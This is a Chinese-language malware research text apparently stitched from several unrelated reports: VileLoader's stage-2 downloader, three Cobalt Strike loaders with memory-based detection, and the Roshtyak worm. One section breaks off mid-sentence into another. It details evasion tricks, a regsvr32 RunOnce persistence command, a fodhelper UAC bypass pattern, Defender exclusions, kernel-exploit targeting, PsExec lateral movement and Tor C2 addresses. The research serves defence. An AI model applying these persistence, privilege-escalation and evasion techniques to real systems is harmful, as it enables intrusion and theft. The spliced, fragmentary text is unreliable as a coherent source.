第2階段:內存下載器第2階段的內容從VileLoader的編碼附帶的shellcode文件中提取,並由VileLoader的第1階段在內存中的新線程中運行。從數據的角度來看,第2階段的shellcode是一個PE二進製文件,它的標頭被去掉並嵌入了額外的編碼數據。

第2階段首先從其本身的內容中解碼(使用第三類XOR算法)所需的數據。一些數據被解碼為使用djb2算法生成的哈希值。這些哈希值反過來用於通過自定義IAT解析所需的函數導入:加載所需的庫,解析它們的導出表,使用djb2對導出的函數名稱進行哈希,並將哈希值與從內部數據解碼的哈希值進行比較。第2階段繼續創建一個互斥鎖,其名稱自2020年第二季度以來沒變過,與VileRAT中的相同(“Global\wU3aqu1t2y8uN”)。

最後,VileLoader的第2階段構建一個HTTPGET請求,用於下載植入程序包。在較早的VileLoader示例中,下載器使用瞭如下所示的一個靜態URL:

20.png

唯一的規避嘗試是在四個固定列表中隨機選擇一個HTTPUser-Agent標頭值。 VileLoader使用目標系統的正常運行時間作為“隨機性”的來源。在最近的示例中,開發人員試圖改進這些規避技術,HTTP請求現在看起來如下所示:

21.png

現在,所有以紅色著色的值都是從從第2階段內容解碼的硬編碼列表中隨機選擇的(使用C類XOR算法)。加密的blob(cookie值)最初是一個JSON字典,使用RC4算法加密(使用密鑰“BDDE96D29C68EE064964D1E58A860512B09A50004EF2E4925C76ABFC9023DFC6”,從第2階段內容解碼)、異或(使用B型異或算法)、base64編碼和URL編碼。實際的JSON內容與VileDropper發送到C2服務器的內容非常相似:

22.png

然後,C2服務器在HTTP響應正文中進行了響應,並使用以下其中一個指令:

什麼都不做:答案是四個空字節;

植入包:答案是要解析的編碼植入包(見下文);

發送截圖:答案是一個值為“1”的字節,後面是三個空字節;

在較早的版本中,VileLoader的第2階段並沒有嵌入截圖功能,但是VileRAT實現了截圖功能。

如果C2服務器使用植入程序包進行應答,它會發送一個第四類的異或blob。生成的數據使用LZMA1算法進一步解壓縮,並包含一個或多個帶有以下附加元數據的“文件”:

一個CSIDL值,表示必須將文件釋放的根文件夾(使用“SHGetFolderPathW”WindowsAPI函數解析);

子目錄名稱;

一個文件名;

如果要安排文件執行,則為任務名稱;

如果要執行文件,則為命令行參數。

如果在C2服務器響應數據中設置了特定標誌,VileLoader會為最後放置的文件創建一個Windows計劃任務以設置其持久性。該任務是使用ITaskService接口創建的。最後一個被刪除的文件也會使用“CreateProcessW”Windows API函數立即

1.png

Unit 42研究人員檢查了幾個包含Cobalt Strike組件的惡意軟件樣本,並發現通過分析進程中關鍵執行工件可以捕獲這些樣本。

cobalt strike(簡稱CS)是一款團隊作戰滲透測試神器,分為客戶端及服務端,一個服務端可以對應多個客戶端,一個客戶端可以連接多個服務端。它不僅在紅隊中流行,而且也被用於惡意目的。

儘管該工具包只出售給受信任的組織進行安全測試,但由於源代碼洩露,它的各種組件不可避免地進入了攻擊者的武器庫,從勒索軟件組織到國家支持的攻擊組織。濫用Cobalt Strike的惡意軟件甚至在2020年臭名昭著的SolarWinds供應鏈攻擊事件發揮了作用。

為什麼是Cobalt Strike? Cobalt Strike之所以被如此廣泛的利用,主要是因為Cobalt Strike集成了端口轉發、掃描多模式端口Listener、Windows exe程序生成、Windows dll動態鏈接庫生成、java程序生成、office宏代碼生成,包括站點複製獲取瀏覽器的相關信息等。由於它的設計是從底層開始的,所以攻擊者會定期使用它引入新的規避技術。

Cobalt Strike的主要優點之一是,一旦初始加載程序被執行,它主要在內存中運行。當有效負載是靜態防護的、僅存在於內存中並且拒絕執行時,這種情況會給檢測帶來問題。這對許多安全軟件產品來說都是一個挑戰,因為掃描內存絕非易事。

在許多情況下,Cobalt Strike是在目標網絡中獲得初始足蹟的自然選擇。攻擊者可以使用具有大量部署和混淆選項的構建器,根據可定制的模板創建最終有效負載。

該有效負載通常以加密或編碼的形式嵌入到文件加載程序中。當受害者執行文件加載程序時,它將有效負載解密/解碼到內存中並運行它。由於有效負載以其原始形式存在於內存中,因此由於某些特定功能,可以很容易地檢測到它。

作為惡意軟件研究人員,我們經常看到潛在的有趣的惡意樣本,結果只是Cobalt Strike的加載程序。通常也不清楚加載程序是由紅隊創建的還是真正的攻擊者創建的,因此使歸因更具挑戰性。

接下來我們將深入研究三種不同的Cobalt Strike加載程序,它們是由我們設計的一個新的基於管理程序的沙箱檢測到的,該沙箱允許我們分析內存中的工件。每個示例加載不同的植入類型,即SMB、HTTPS和stager信標。我們將這些Cobalt Strike裝載程序稱為KoboldLoader, MagnetLoader和LithiumLoader。我們還將討論可以用來檢測這些有效負載的一些方法。

KoboldLoader SMB信標以以下樣本為例

SHA256: 7ccf0bbd0350e7dbe91706279d1a7704fe72dcec74257d4dc35852fcc65ba292

這個64位KoboldLoader可執行文件使用各種已知的技巧來繞過沙盒,並使分析過程更加耗時。

為了繞過隻掛鉤高級用戶模式函數的沙盒,它只調用內置API函數。為了使分析人員的工作更加困難,它通過哈希而不是使用純文本字符串來動態解析函數。惡意軟件包含調用以下函數的代碼:

2.png

該惡意軟件創建了兩個單獨的函數哈希/地址對錶。一個表包含所有內置函數的一對,而第二個表只包含Nt*個函數對。

對於所使用的Rtl*函數,它循環遍歷第一個表並蒐索函數哈希以獲得函數地址。對於使用的Nt*函數,它遍歷第二個表並同時增加一個計數器變量。

當找到哈希時,它將獲取計數器值,即相應內置函數的系統調用號,並輸入自定義系統調用存根。這有效地繞過了許多沙盒,即使掛接了較低級別的內置函數而不是高級函數。

加載程序的整體功能相對簡單,並使用映射注入來運行負載。它生成Windows工具sethc.exe的子進程,創建一個新部分,並將解密的Cobalt Strike信標加載程序映射到其中。 Cobalt Strike加載程序的最終執行是通過調用RtlCreateUserThread來加載SMB信標的。

內存中的規避功能通過新的基於管理程序的沙盒,我們能夠在內存中檢測到解密的Cobalt Strike SMB信標。這個信標加載程序甚至使用了一些內存中的規避功能,創建了一種奇怪的嵌合體文件。雖然它實際上是一個DLL,但“MZ”神奇的PE字節和隨後的DOS標頭被一個小的加載程序shellcode覆蓋,如下圖所示。

3.png

解密的Cobalt Strike SMB信標shellcode

shellcode加載程序跳轉到導出的函數DllCanUnloadNow,該函數在內存中準備SMB信標模塊。為此,它首先加載Windows pla.dll庫,並清空代碼段(.text)中的一大塊字節。然後,它將信標文件寫入該blob並修復導入地址表,從而創建一個可執行內存模塊。

在分析該文件的過程中,我們可以找出所使用的一些內存內規避功能,如下表所示。

4.png

內存內規避功能

總之,信標加載程序和信標本身是同一個文件。 PE標頭的部分用於跳轉到導出函數的shellcode,該函數反過來在Windows DLL中創建自己的模塊。最後,shellcode跳轉到信標模塊的入口點,在內存中執行它。

如上所述,我們沒有辦法成功檢測我們的KoboldLoader示例的信標,除非我們可以在執行過程中查看內存內部。

MagnetLoader我們將研究的第二個加載程序是一個模仿合法庫的64位DLL。

SHA256:6c328aa7e903702358de31a388026652e82920109e7d34bb25acdc88f07a5e0

這個MagnetLoader示例試圖在一些方面看起來像Windows文件mscms.dll,通過使用以下類似的功能:

相同的文件描述;

一個具有許多相同函數名的導出表;

幾乎相同的資源;

一個非常相似的互斥鎖;

這些功能也顯示在下圖中,其中惡意軟件文件與有效的mscml.dll進行了對比。

5.png

MagnetLoader(左)和mscml.dll(右)的文件描述、導出表和資源的比較

MagnetLoader不僅嘗試靜態地模擬合法的Windows庫,而且在運行時也如此。

MagnetLoader的所有導出函數內部調用相同的主要惡意軟件例程。當調用其中一個時,首先運行DLL入口點。在入口點,惡意軟件加載原始的mscms.dll,並解析它所偽造的所有函數。

這些原始函數的地址在執行偽方法後被存儲和調用。因此,每當調用MagnetLoader的導出函數時,它都會運行主惡意軟件例程,然後調用mscms.dll中的原始函數。

主要的惡意軟件例程相對簡單。它首先創建了一個名為SM0:220:304:WilStaging_02_p1h的互斥體,看起來與mscms.dll創建的原始互斥體非常相似。

Cobalt Strike信標加載程序被解密到內存緩衝區中,並在一個已知的技巧的幫助下執行。加載程序沒有直接調用信標加載程序,而是使用Windows API函數EnumChildWindows來運行它。

該函數包含三個參數,其中一個是回調函數。惡意軟件可能濫用此參數,通過回調函數間接調用地址,從而隱藏執行流程。

LithiumLoader最後一個Cobalt Strike示例是DLL側加載鏈的一部分,其中使用了一種安全軟件的自定義安裝程序。 DLL側加載是一種劫持合法應用程序以運行獨立的惡意DLL的技術。

SHA256: 8129 bd45466c2676b248c08bb0efcd9ccc8b684abf3435e290fcf4739c0a439f

這個32位的LithiumLoader DLL是由攻擊者自定義創建的Fortinet VPN安裝包的一部分,該安裝包以FortiClientVPN_windows.exe (SHA256: a1239c93d43d657056e60f6694a73d9ae0fb304cb6c1b47ee2b38376ec21c786)的形式提交給VirusTotal。

FortiClientVPN_windows.exe文件不是惡意的或被破壞的。由於該文件是簽名的,攻擊者利用它來逃避反病毒檢測。

安裝程序是一個自解壓縮RAR存檔,包含以下文件:

6.png

FortiClientVPN_windows.exe文件內容

自解壓腳本命令如下:

7.png

自解壓腳本命令列表

當安裝程序運行時,所有文件都會被無聲地放到本地%AppData%文件夾中,兩個可執行文件都會啟動。當FortiClient VPN安裝程序執行時,WinGup工具側加載libcurl.dll LithiumLoader惡意軟件。惡意軟件之所以這樣做,是因為它從libcurl庫的合法副本中導入了以下函數,如下圖所示:

8.png

導入WinGup.exe的地址表

此威脅還試圖通過PowerShell將%AppData%文件夾路徑添加到Windows防禦器中的排除列表中。

在啟動GUP.exe時,惡意的libcurl.dll文件被加載到進程空間中,因為它靜態地導入上圖所示的函數。雖然所有四個libcurl函數都在運行,但只有curl_easy_cleanup包含在編譯庫的新版本時注入的惡意例程。因此,我們不是在處理合法DLL的打了補丁的版本。這是一種更乾淨的解決方案,不會像在其他惡意軟件中經常看到的那樣,在插入惡意程序後破壞代碼。

這個curl_easy_cleanup函數通常只包含一個子例程(Curl_close),並且沒有返回值(如其在GitHub上的源代碼所示)。修改後的函數如下圖所示。

9.png

修改了libcurl.dll的curl_easy_cleanup導出函數

load_shellcode函數通過XOR和密鑰0xA解密shellcode,如下圖所示。

10.png

Shellcode加載程序函數load_shellcode()

這個函數通過EnumSystemGeoID間接運行Cobalt Strike階段shellcode,而不是直接跳轉到它。這個Windows API函數有三個參數,最後一個參數是一個被LithiumLoader濫用的回調函數。

Cobalt Strike stagershellcode是從Metasploit借來的,是反向的HTTP外殼負載,它使用以下API函數:

11.png

shellcode連接到以下URL,其中包含泰國一所大學的IP地址

LithiumLoader檢測問題在本文發佈時,Cobalt Strike信標的有效負載已不再可用。如果API調用的執行報告中沒有有效負載或任何可操作的信息,沙盒通常很難確定樣本是否惡意。這個示例本身沒有任何可以被歸類為惡意的功能。

通過內存分析尋找Cobalt Strike在這三個例子中都存在一些常見的檢測挑戰。這些示例不能在正常的沙盒環境中執行。但是正如我們所討論的,如果我們在執行期間查看內存內部,就可以使用大量的信息進行檢測,比如函數指針、已解碼的加載程序階段和其他工件。

為了準確地檢測,研究人員發現解決高度規避惡意軟件的一個關鍵功能是,除了使用系統API更好地理解所發生的事情外,還需要在執行樣本時查看內存。

12.png

研究人員發現,在惡意軟件檢測中,查看執行關鍵點的內存增量,以提取有意義的信息和工件是很有用的。當我們的系統處理大量的樣本時,要實現大規模的工作有很多挑戰。接下來,我們將詳細介紹目前從內存中收集的一些主要類型的數據,以幫助檢測。儘管我們在本文介紹的是通過內存方法,但我們絕不是說檢測和記錄API調用對檢測沒有用。

自動有效負載提取如上所述,惡意軟件開發者混淆其有效負載越來越普遍。雖然使用可執行打包器可以壓縮和模糊文件來實現這一點並不新鮮,但當它與逃避策略結合使用時就會出現問題,因為沒有對準確檢測有用的靜態或動態數據。

編碼、壓縮、加密或下載額外的執行階段的策略有無限的組合。為這些有效負載製作簽名的能力顯然是分析師能夠從Cobalt Strike等框架中捕獲大量不同惡意軟件組件的重要方式。如果我們能在內存中捕捉到它們,那麼惡意軟件最終決定不執行也無所謂。

下面簡化圖顯示了我們可能在兩個階段中看到的示例,這些階段在初始可執行文件中從未出現過。

13.png

可以在打包的惡意軟件可執行文件中看到的典型階段

在圖的左側,我們看到了一個shellcode階段的示例。儘管“shellcode”一詞最初是為利用漏洞在目標系統上彈出外殼而手工製作的程序集而創造的,但該詞已演變為包含任何為惡意目的編寫的自定義程序集。一些惡意軟件階段是沒有可識別的可執行結構的自定義程序集。惡意軟件開發者採用這種方法的常見模式是將所有函數指針動態解析到一個表中,以便於訪問。

在圖的右側,我們看到後期是一個格式良好的可執行文件的示例。一些惡意軟件階段或有效負載是格式良好的可執行文件。這些可以由OS通過系統API加載,或者惡意軟件開發者可能會使用他們自己的PE加載程序,如果他們試圖隱蔽地避免調用任何API來為他們加載。

函數指針數據我們可以從內存中提取的另一組用於檢測的豐富數據是動態解析函數指針,如下圖所示。惡意軟件的開發者很久以前就知道,如果他們顯式地調用他們計劃在導入表中使用的所有WINAPI函數,它就會被用來對付他們。現在的標準做法是隱藏惡意軟件或其任何階段將使用的功能。

Shellcode哈希是另一種常見的隱蔽策略,用於解析函數的指針而不需要它們的字符串。

14.png

可能在內存段中看到的動態解析WINAPI指針示例

在Advanced WildFire中,我們已經開始有選擇地搜索和使用在我們的檢測邏輯中解析了哪些WINAPI函數指針的信息。

操作系統結構修改研究人員從分析內存中發現的另一個有用的檢測數據來源是尋找對Windows記賬結構的任何更改(惡意軟件開發者喜歡混淆這些!)。這些結構對於OS維護進程的狀態非常重要,例如加載了哪些庫、加載了可執行映像的位置以及OS稍後可能需要了解的進程的其他各種特徵。考慮到這些字段中的許多都不應該被修改,跟踪惡意軟件樣本何時以及如何操作它們通常很有用。

下圖顯示了示例如何從LDR模塊列表中卸載它加載的模塊。取消查找模塊意味著不再存在該模塊存在的記錄。例如,這樣做之後,Windows中的任務管理器將不再列出它。

此圖僅是研究人員所看到的許多不同的OS結構修改中的一種,但它表明有許多不同類型的OS結構更改對惡意軟件檢測問題有用。

15.png

如何將模塊從LDR模塊列表中解關聯的示例

頁面權限最後,檢測數據的另一個有用來源是對頁面權限所做的所有更改的完整日誌。打包惡意軟件的開發者通常需要更改內存權限,以便正確加載和執行進一步的階段。了解哪些內存頁的權限發生了更改,通常可以提供有關代碼加載和執行位置的重要見解,這對檢測非常有用。

總結儘管Cobalt Strike已經存在多年,但檢測它對許多安全軟件提供商來說仍然是一個挑戰。這是因為該工具主要在內存中工作,不太接觸磁盤。

本文介紹了三種新的加載程序,並展示瞭如何使用各種技術檢測它們,這些檢測技術在新的基於管理程序的沙盒中可用。

變量隱藏一些變量不是以明文形式存儲的,而是使用一個或多個算術指令隱藏起來的。這意味著如果Roshtyak 沒有主動使用變量,它將以混淆的形式保留該變量的值。每當Roshtyak需要使用該變量時,它必須在使用它之前先解開它的掩碼。相反,在Roshtyak使用該變量後,它會將其轉換回掩碼形式。這種隱藏方法使調試期間跟踪變量的工作變得複雜,並使搜索內存中已知變量值變得更加困難。

循環變換Roshtyak 在一些循環條件下很有創意。它沒有像for (int i=0; i 1690; i++) 那樣編寫循環,而是將循環轉換為for (int32_t i=0x06AB91EE;我!=0 x70826068;i=i * -0x509FFFF +0xEC891BB1)。雖然兩個循環都將執行1690 次,但第二個循環要難得多。乍一看,不清楚第二個循環執行了多少次迭代,甚至不知道它是否會終止。在第二種情況下,在調試期間跟踪循環迭代的次數也要困難得多。

包裝如上所述,Roshtyak 的核心隱藏在多層包裝之後。雖然所有的層看起來都像是最初編譯到PE文件中,但除了嚴格必要的數據(入口點、節、導入和重定位)之外的所有數據都被剝離了。此外,Roshtyak 支持兩種自定義格式來存儲剝離的PE 文件信息,各層輪流使用對應的格式。此外,段自定義格式是加密的,有時使用基於各種反分析檢查結果生成的密鑰。

這使得將Roshtyak 的層靜態解壓到一個獨立的PE 文件中變得很困難。首先,必須對自定義格式進行逆向工程,並弄清楚如何解密加密段。然後,必須重構PE 標頭、段、段標題和導入表(重定位表不需要重構,因為重定位可以被關閉)。雖然這一切都是完全可行的,並且可以使用像LIEF 這樣的庫來簡化,但這可能需要大量的時間。除此之外,這些層有時是相互依賴的,在內存中動態分析Roshtyak 可能更容易。

15.1.png

其中一個自定義PE 類文件格式的段標題:raw_size 對應於SizeOfRawData,raw_size + virtual_padding_size 實際上是VirtualSize。沒有VirtualAddress 或PointerToRawData 等效項,因為這些段是按順序加載的。

其他混淆技巧除了上述技巧之外,Roshtyak 還使用其他混淆技巧,包括:

垃圾指令插入;

導入哈希;

頻繁清除內存;

混合佈爾算術混淆;

冗餘線程;

重多態性;

核心功能既然我們已經描述了Roshtyak 如何保護自己,那麼看看它的實際作用可能會很有趣。 Roshtyak 的DLL 相對較大,超過1 兆字節,但是一旦消除了所有的混淆,它的功能就非常簡單。它的主要目的是下載更多的有效載荷來執行。此外,它還執行通常的惡意軟件操作,即建立持久性、提升權限、橫向移動和洩露有關受害者的信息。

持久性攻擊Roshtyak 首先在%SystemRoot%\Temp 中生成一個隨機文件名,並將其DLL 映像移動到那裡。生成的文件名由2到8個隨機小寫字符與從硬編碼列表中選擇的隨機擴展名組成。用於生成此文件名的PRNG的捲序列號為C:\。我們分析的示例是硬編碼的7個擴展名(.log、tmp、loc、dmp、out、ttf 和.etl)。我們觀察到其他示例中使用了其他擴展,這表明這個列表是動態的。 Roshtyak 也很有可能會使用隨機生成的擴展。一旦完全構建,到Roshtyak DLL的完整路徑可能看起來如C:\Windows\Temp\wcdp.etl這樣。

將DLL 映像移動到新的文件系統路徑後,Roshtyak 將其修改後的時間戳記到當前系統時間。然後它繼續設置RunOnce(Ex) 註冊表項,以實際建立持久性。註冊表項是使用前面描述的間接註冊表寫入技巧創建的。插入密鑰的命令可能如下所示:

RUNDLL32.EXE SHELL32.DLL,ShellExec_RunDLL REGSVR32.EXE -U /s 'C:\Windows\Temp\wcdp.etl.'

這裡有幾點需要注意。首先,regsvr32 不關心它加載的DLL 的擴展名,從而允許Roshtyak 隱藏在.log 等看似無害的擴展名下。其次,/s 參數將regsvr32 置於靜默模式。如果沒有它,regsvr32將抱怨找不到名為DllUnregisterServer的導出。最後,請注意路徑末尾的句號字符。該句號在路徑規範化期間被釋放,因此它實際上對命令沒有影響。所以,我們不確定開發者的初衷是什麼。它看起來像是被設計用來欺騙一些反惡意軟件,使其無法將持久性條目與文件系統上的有效負載連接起來。

默認情況下,Roshtyak 使用HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce 項進行持久化。但是,在某些情況下(例如,當它通過檢查名為avp.exe 的進程檢測到Kaspersky 正在運行時)將使用密鑰HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx。 RunOnceEx 項能夠加載DLL,因此在使用該項時,Roshtyak 直接指定shell32.dll,省略了rundll32的使用。

16.1.png

Roshtyak 建立的RunOnceEx 持久性條目

權限提升Roshtyak 使用UAC 繞過和常規EoP 漏洞來嘗試提升其權限,與許多其他惡意軟件只是盲目地執行開發者可以找到的任何UAC 繞過/利用的惡意軟件不同,Roshtyak 努力確定權限提升方法是否有可能成功。由於不必要地使用了不兼容的繞過/漏洞,這可能是為了降低檢測的機會。對於UAC 繞過,這涉及檢查ConsentPromptBehaviorAdmin 和ConsentPromptBehaviorUser 註冊表項。對於EoP 漏洞利用,這是關於檢查Windows 內部版本號和補丁級別。

除了檢查ConsentPromptBehavior(Admin|User) 項之外,Roshtyak 還執行其他健全性檢查以確保它應該繼續繞過UAC。即,它使用SID S-1-5-32-544 (DOMAIN_ALIAS_RID_ADMINS) 的CheckTokenMembership 檢查管理員權限。它還檢查KUSER_SHARED_DATA.SharedDataFlags 中DbgElevationEnabled 標誌的值。這是一個未記錄的標誌,在啟用UAC 時設置。最後,還有針對BitDefender(由模塊atcuf32.dll 檢測)、卡巴斯基(進程avp.exe)和我們自己的Avast/AVG(模塊aswhook.dll)的殺毒軟件檢查。如果檢測到這些殺毒軟件,Roshtyak 會避開選定的UAC 繞過技巧,大概是那些可能導致被檢測到。

至於實際的UAC旁路,主要有兩種實現方法。第一個是UACMe 中恰當命名的ucmDccwCOM 方法的實現。有趣的是,當執行此方法時,Roshtyak 通過覆蓋對應於主可執行模塊的_LDR_MODULE 結構中的FullDllName 和BaseDllName 臨時將其進程偽裝成explorer.exe。此方法啟動的有效負載是一個隨機命名的LNK 文件,使用IShellLink COM 接口放入%TEMP%。此LNK 文件旨在通過LOLBins(例如advpack 或register-cimprovider)重新啟動Roshtyak DLL。

第二種方法更像是一個UAC 繞過框架而不是特定的繞過方法,因為多個UAC 繞過方法遵循相同的簡單模式:首先註冊一些特定的shell 打開命令,然後執行自動提升的Windows 二進製文件(內部觸發shell 打開命令)。例如,可以通過向HKCU\Software\Classes\ms-settings\shell\open\command 寫入有效負載命令,然後從%windir%\system32 執行fodhelper.exe 來完成UAC 繞過。基本上,同樣的繞過可以通過用其他對替換ms-settings/fodhelper.exe來實現,例如mscfile/eventvwr.exe。 Roshtyak使用以下6對來繞過UAC:

17.png

現在讓我們看看Roshtyak 用於提升權限的內核漏洞(CVE-2020-1054 和CVE-2021-1732)。與Roshtyak 中的常見情況一樣,這些漏洞被加密存儲,並且僅在需要時才解密。有趣的是,一旦解密,漏洞利用結果是具有完全有效標頭的常規PE 文件,與Roshtyak 中的其他層不同,它們要么以shellcode 形式存在,要么以自定義剝離的PE 格式存儲。此外,這些漏洞不像Roshtyak的其他漏洞那樣容易混淆,所以它們的代碼可以立即反編譯,而且只使用了一些基本的字符串加密。我們不知道為什麼攻擊者讓這些漏洞如此暴露,但這可能是由於位數的不同。雖然Roshtyak 本身是x86 代碼(大段時間在WoW64 下運行),但漏洞利用是x64,考慮到它們利用64 位代碼中的漏洞,這是有道理的。可能Roshtyak 的開發者使用的混淆工具是為x86 設計的,不能移植到x64。

18.png

Roshtyak利用CVE-2020-1054的代碼片段,掃描IsMenu找到HMValidateHandle的偏移量

為了執行漏洞,Roshtyak 生成(AMD64 版本)winver.exe 並使用KernelCallbackTable 注入方法獲取漏洞代碼以在其中運行。 Roshtyak的這種注入方法的實現基本上與公共PoC相匹配,最大的區別是由於需要跨子系統注入而使用了略微不同的API函數(例如NtWow64QueryInformationProcess64而不是NtQueryInformationProcess或NtWow64ReadVirtualMemory64而不是ReadProcessMemory)。注入winver.exe的代碼不是利用PE本身,而是稍微混淆的shellcode,旨在將漏洞利用PE 加載到內存中。

內核漏洞針對某些未打補丁的Windows 版本。具體來說,CVE-2020-1054 僅用於版本號不高於24552 的Windows 7 系統。另一方面,CVE-2021-1732 的漏洞利用在Windows 10 上運行,目標內部版本號範圍為16353 到19042。在利用CVE-2021-1732之前,Roshtyak還會掃描已安裝的更新包,以查看是否安裝了針對該漏洞的補丁。它通過枚舉HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based services \Packages下面的註冊表項,並檢查KB4601319(或更高)的包是否存在。

橫向運動在橫向移動方面,Roshtyak 只使用久經考驗的PsExec 工具。在執行PsExec 之前,Roshtyak 通過檢查與“眾所周知的”WinAccountDomainAdminsSid 組匹配的SID 來確保運行它是有意義的。如果未檢測到域管理員權限,Roshtyak 將完全跳過其橫向移動階段。

Roshtyak 試圖通過設置Defender 排除項來繞過檢測,因為PsExec 通常被標記為黑客工具(有充分的理由)。它為%TEMP% 設置一個路徑排除(它將釋放PsExec 和其他用於橫向移動的文件)。稍後,它會為執行PsExec 的確切路徑設置一個進程排除。

雖然我們希望PsExec被捆綁到Roshtyak中,但結果是Roshtyak從https://download.sysinternals[.]com/files/PSTools.zip按需下載PsExec。下載的zip歸檔文件被放入%TEMP%中,後綴名為.zip。然後使用Windows Shell COM接口(IShellDispatch)將PsExec從這個歸檔文件解壓縮到%TEMP%中隨機命名的.exe文件中。

PsExec 執行的有效負載是一個自解壓包,由名為IExpress 的工具創建。這是一個古老的安裝程序,它是Windows 的一部分,這可能就是使用它的原因,因為Roshtyak 可以依賴它已經在受害者設備上。安裝程序生成由使用自解壓指令(SED) 語法的文本文件配置。

19.png

Roshtyak 的IExpress 配置模板

Roshtyak 使用具有三個佔位符(%1、%2 和%3)的SED 配置模板,它在運行時將其替換為實際值。如上所示,配置模板是混合大小寫編寫的,通常在Raspberry Robin 中經常使用。準備好SED配置後,它就會被寫入%TEMP% 中隨機命名的.txt 文件。然後,調用iexpress 以使用C:\Windows\iexpress.exe /n /q

生成有效負載後,Roshtyak就開始實際運行PsExec。 Roshtyak 可以通過兩種方式執行PsExec。第一個使用命令

分析受害者USB 蠕蟲往往有自己的活動。由於它們的蠕蟲行為通常是完全自動化的,因此最初部署蠕蟲的攻擊者不一定完全控制它的傳播位置。這就是為什麼攻擊者將蠕蟲信標返回到他們的CC 服務器很重要的原因。有了信標機制,攻擊者就可以獲知他們控制的所有機器的信息,並可以利用這些信息對蠕蟲進行管理。

發出的信標郵件通常包含有關受感染計算機的一些信息。這有助於有經濟動機的攻擊者決定如何利用攻擊獲利。 Roshtyak 也不例外,它收集了有關每個受感染受害者的大量信息。 Roshtyak 將所有收集到的信息連接成一個大字符串,使用分號作為分隔符。這個大字符串然後被轉移到Roshtyak的CC服務器上。下面按順序列出了過濾出來的信息。

外部IP 地址(在Tor 連接檢查期間獲得);

一個硬編碼到Roshtyak 代碼中的字符串,例如AFF123(我們無法確定這背後的含義,但它看起來像一個附屬ID);

DLL 的PE 標頭的16 位哈希(一些字段清零)與其TimeDateStamp 的低16 位異或。 TimeDateStamp 似乎是經過特殊設計的,因此異或會產生一個已知值。這可以作為篡改檢查或水印的功能;

系統驅動器上System Volume Information 文件夾的創建時間戳;

系統驅動器的捲序列號;

處理器計數(GetActiveProcessorCount);

IsWow64Process (_PROCESS_EXTENDED_BASIC_INFORMATION.Flags 2);

Windows 版本(KUSER_SHARED_DATA.Nt(Major|Minor)Version);

Windows 產品類型(KUSER_SHARED_DATA.NtProductType);

Windows 構建號(PEB.OSBuildNumber);

本地管理權限(ZwQueryInformationToken(TokenGroups)/CheckTokenMembership,檢查DOMAIN_ALIAS_RID_ADMINS);

域管理權限(檢查WinAccountDomainAdminsSid/WinAccountDomainUsersSid);

系統時間(KUSER_SHARED_DATA.SystemTime);

時區(KUSER_SHARED_DATA.TimeZoneBias);

系統區域設置(NtQueryDefaultLocale(0));

用戶區域設置(NtQueryDefaultLocale(1));

環境變量(username, computername, userdomain, userdnsdomain和logonserver);

Java 版本(GetFileVersionInfo('javaw.exe') - VerQueryValue);

處理器信息(獲取處理器品牌字符串的cpuid);

主可執行模塊的映像路徑(NtQueryVirtualMemory(MemorySectionName));

主物理驅動器的產品ID 和序列號(DeviceIoControl(IOCTL_STORAGE_QUERY_PROPERTY, StorageDeviceProperty));

默認網關的MAC 地址(GetBestRoute - GetIpNetTable);

所有網絡適配器的MAC 地址(GetAdaptersInfo);

安裝的防病毒軟件(root\securitycenter2 - SELECT * FROM AntiVirusProduct);

顯示設備信息(DeviceId、DeviceString、dmPelsWidth、dmPelsHeight、dmDisplayFrequency)(EnumDisplayDevices - EnumDisplaySettings);

活動進程(NtQuerySystemInformation(SystemProcessInformation));

以base64 編碼的屏幕截圖(gdi32 方法);

信標收集過程完成後,Roshtyak將受害者的資料發送到CC服務器。配置文件通過Tor 網絡發送,使用Roshtyak 注入新生成的進程的自定義通信模塊。 CC 服務器處理洩露的配置文件,並可能使用shellcode 有效負載進行響應,以供核心模塊執行。

現在讓我們仔細看看這整個過程。值得一提的是,在生成任何惡意流量之前,Roshtyak 首先會執行Tor 連接檢查。這是通過以隨機順序聯繫28 個合法且知名的.onion 地址並檢查其中至少一個是否響應來完成的。如果他們都沒有回應,Roshtyak甚至不會嘗試聯繫CC,因為它很有可能無法與CC取得聯繫。

至於實際的CC 通信,Roshtyak 包含35 個硬編碼的V2 洋蔥地址(例如ip2djbz3xidmkmkw:53148,請參閱我們的IoC 存儲庫以獲取完整列表)。就像在連接檢查期間一樣,Roshtyak 以隨機順序遍歷它們並嘗試聯繫它們中的每一個,直到其中一個做出響應。請注意,雖然V2 洋蔥地址已被正式棄用,取而代之的是V3 地址,並且Tor 瀏覽器在其最新版本中不再支持它們,但對於Roshtyak的邪惡目的而言,它們的功能似乎仍然足夠。

20.png

Roshtyak 的硬編碼CC 地址

受害者配置文件以URL路徑發送,附加在V2洋蔥地址和/字符之後。由於原始概要文件可能包含禁止在url中使用的字符,因此概要文件被封裝在自定義結構中,並使用Base64進行編碼。自定義結構的第一個0x10字節作為加密密鑰,其餘的結構將被加密。自定義結構還包含受害者概要文件的64位哈希,它可能用作完整性檢查。有趣的是,自定義結構的尾部可能填充了隨機字節。注意,完整的路徑可能非常大,因為它包含一個雙base64編碼的截圖。 Roshtyak的開發者可能意識到URL路徑不適合發送大量數據,並決定將受害者配置文件的長度限制在0x20000字節。如果屏幕截圖使洩露的配置文件大於此限制,則不包括在內。

構建完整的洋蔥URL 後,Roshtyak 繼續啟動其Tor 通信模塊。它首先生成一個虛擬進程來託管comms 模塊。這個虛擬進程是隨機選擇的,可以是dllhost.exe、regsvr32.exe 或rundll32.exe 之一。 comms 模塊使用共享段注入到新生成的進程中,並通過前面描述的shellcode 隱藏技巧進行了混淆。然後通過NtQueueApcThreadEx 執行comms 模塊,使用已經討論過的ntdll gadget技巧。注入的comms 模塊是一個開源Tor 庫的自定義構建,包含在三個額外的保護性shellcode 層中。

核心模塊使用共享段作為IPC 機制與comms 模塊進行通信。兩個模塊同步使用具有相同種子(KUSER_SHARED_DATA.Cookie) 的相同PRNG 來生成相同的段名稱。然後,兩者都將此命名段映射到各自的地址空間,並通過讀取/寫入來相互通信。讀取/寫入該段的數據使用RC4 加密(密鑰也使用同步的PRNG 生成)。

